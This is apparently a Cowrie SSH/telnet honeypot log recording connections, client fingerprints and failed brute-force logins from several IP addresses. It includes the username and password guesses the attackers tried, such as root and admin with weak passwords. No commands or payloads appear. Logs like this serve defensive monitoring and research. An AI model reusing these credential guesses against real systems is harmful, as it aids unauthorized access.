{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40798,"dst_ip":"159.203.135.109","dst_port":22,"session":"f22775de8a23","protocol":"ssh","message":"New connection: 159.203.92.129:40798 (159.203.135.109:22) [session: f22775de8a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:51.672735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:51.677953Z","src_ip":"159.203.92.129","session":"f22775de8a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:51.682694Z","src_ip":"159.203.92.129","session":"f22775de8a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx","message":"login attempt [admin/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:51.694970Z","src_ip":"159.203.92.129","session":"f22775de8a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.911468505859375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:52.491713Z","src_ip":"46.4.8.162","session":"d98efe1f7eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:52.701323Z","src_ip":"159.203.92.129","session":"f22775de8a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.312904357910156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:53.882350Z","src_ip":"46.4.8.162","session":"b326146f540b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":56944,"dst_ip":"159.203.135.109","dst_port":23,"session":"269a56b0cad9","protocol":"telnet","message":"New connection: 46.4.8.162:56944 (159.203.135.109:23) [session: 269a56b0cad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:54.663934Z"}
{"eventid":"cowrie.session.closed","duration":33.08971047401428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:54.777864Z","src_ip":"46.4.8.162","session":"d1dd1f32f4ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26371908187866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:57.783654Z","src_ip":"188.166.220.49","session":"9deaa32ff020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31746196746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:58.842235Z","src_ip":"46.4.8.162","session":"4c6031a9e47b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34696340560913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:00.758117Z","src_ip":"46.4.8.162","session":"227cdd6300b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.873271465301514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:01.884595Z","src_ip":"46.4.8.162","session":"1c594e81a756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.730506896972656,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:03.891123Z","src_ip":"46.4.8.162","session":"32953f247950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39162,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f8d2d5f8a7","protocol":"telnet","message":"New connection: 46.4.8.162:39162 (159.203.135.109:23) [session: 39f8d2d5f8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:07.425234Z"}
{"eventid":"cowrie.session.closed","duration":37.428855895996094,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:07.623607Z","src_ip":"46.4.8.162","session":"a979187af5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39174,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7ee617aef7b","protocol":"telnet","message":"New connection: 46.4.8.162:39174 (159.203.135.109:23) [session: a7ee617aef7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:08.353814Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe8c60b9578","protocol":"telnet","message":"New connection: 46.4.8.162:39188 (159.203.135.109:23) [session: ffe8c60b9578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:09.524140Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39194,"dst_ip":"159.203.135.109","dst_port":23,"session":"23f2768179fe","protocol":"telnet","message":"New connection: 46.4.8.162:39194 (159.203.135.109:23) [session: 23f2768179fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:11.051975Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":36212,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d3ec466f75e","protocol":"ssh","message":"New connection: 185.239.84.249:36212 (159.203.135.109:22) [session: 3d3ec466f75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:12.115204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:12.120622Z","src_ip":"185.239.84.249","session":"3d3ec466f75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:12.328414Z","src_ip":"185.239.84.249","session":"3d3ec466f75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123456","message":"login attempt [hadoop/hadoop123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:13.194808Z","src_ip":"185.239.84.249","session":"3d3ec466f75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:14.404798Z","src_ip":"185.239.84.249","session":"3d3ec466f75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59458,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd082596ccb5","protocol":"telnet","message":"New connection: 46.4.8.162:59458 (159.203.135.109:23) [session: cd082596ccb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:18.820390Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8258424ab12d","protocol":"telnet","message":"New connection: 46.4.8.162:59462 (159.203.135.109:23) [session: 8258424ab12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:20.923735Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59450,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d73ad48b0c8","protocol":"telnet","message":"New connection: 46.4.8.162:59450 (159.203.135.109:23) [session: 0d73ad48b0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:21.023106Z"}
{"eventid":"cowrie.session.closed","duration":32.25326085090637,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:26.917064Z","src_ip":"46.4.8.162","session":"269a56b0cad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52270,"dst_ip":"159.203.135.109","dst_port":23,"session":"c830d99fa8fe","protocol":"telnet","message":"New connection: 46.4.8.162:52270 (159.203.135.109:23) [session: c830d99fa8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:32.385793Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6d1dd647bc","protocol":"ssh","message":"New connection: 103.148.100.146:45468 (159.203.135.109:22) [session: de6d1dd647bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:32.467778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:32.476016Z","src_ip":"103.148.100.146","session":"de6d1dd647bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:32.736532Z","src_ip":"103.148.100.146","session":"de6d1dd647bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52700,"dst_ip":"159.203.135.109","dst_port":22,"session":"e157cbfd4cee","protocol":"ssh","message":"New connection: 159.203.92.129:52700 (159.203.135.109:22) [session: e157cbfd4cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:33.810793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:33.815529Z","src_ip":"159.203.92.129","session":"e157cbfd4cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:33.820575Z","src_ip":"159.203.92.129","session":"e157cbfd4cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd12345!@#","message":"login attempt [root/Asd12345!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:33.828559Z","src_ip":"103.148.100.146","session":"de6d1dd647bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsxedc","message":"login attempt [admin/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:33.835839Z","src_ip":"159.203.92.129","session":"e157cbfd4cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:34.842118Z","src_ip":"159.203.92.129","session":"e157cbfd4cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:35.091894Z","src_ip":"103.148.100.146","session":"de6d1dd647bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.879944801330566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:41.403952Z","src_ip":"46.4.8.162","session":"ffe8c60b9578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49112629890442,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:41.916235Z","src_ip":"46.4.8.162","session":"39f8d2d5f8a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85535216331482,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:42.209023Z","src_ip":"46.4.8.162","session":"a7ee617aef7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.882901191711426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:45.934755Z","src_ip":"46.4.8.162","session":"23f2768179fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60486,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fabad49b95","protocol":"telnet","message":"New connection: 46.4.8.162:60486 (159.203.135.109:23) [session: 30fabad49b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:49.624004Z"}
{"eventid":"cowrie.session.closed","duration":33.99278664588928,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:54.916408Z","src_ip":"46.4.8.162","session":"8258424ab12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59223556518555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:55.615354Z","src_ip":"46.4.8.162","session":"0d73ad48b0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84824061393738,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:56.668489Z","src_ip":"46.4.8.162","session":"cd082596ccb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":34138,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf66124436e","protocol":"telnet","message":"New connection: 46.4.8.162:34138 (159.203.135.109:23) [session: 3cf66124436e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:29:58.396118Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":38728,"dst_ip":"159.203.135.109","dst_port":23,"session":"3587f53d85a8","protocol":"telnet","message":"New connection: 188.166.220.49:38728 (159.203.135.109:23) [session: 3587f53d85a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:02.390919Z"}
{"eventid":"cowrie.session.closed","duration":33.59534025192261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:05.981027Z","src_ip":"46.4.8.162","session":"c830d99fa8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":48024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f43cd94067","protocol":"ssh","message":"New connection: 185.239.84.249:48024 (159.203.135.109:22) [session: f5f43cd94067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:15.383674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:15.388697Z","src_ip":"185.239.84.249","session":"f5f43cd94067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:15.608213Z","src_ip":"185.239.84.249","session":"f5f43cd94067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234QWER","message":"login attempt [root/1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:16.054711Z","src_ip":"185.239.84.249","session":"f5f43cd94067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45134,"dst_ip":"159.203.135.109","dst_port":23,"session":"4663abae1ef9","protocol":"telnet","message":"New connection: 46.4.8.162:45134 (159.203.135.109:23) [session: 4663abae1ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:30:16.121407Z"}
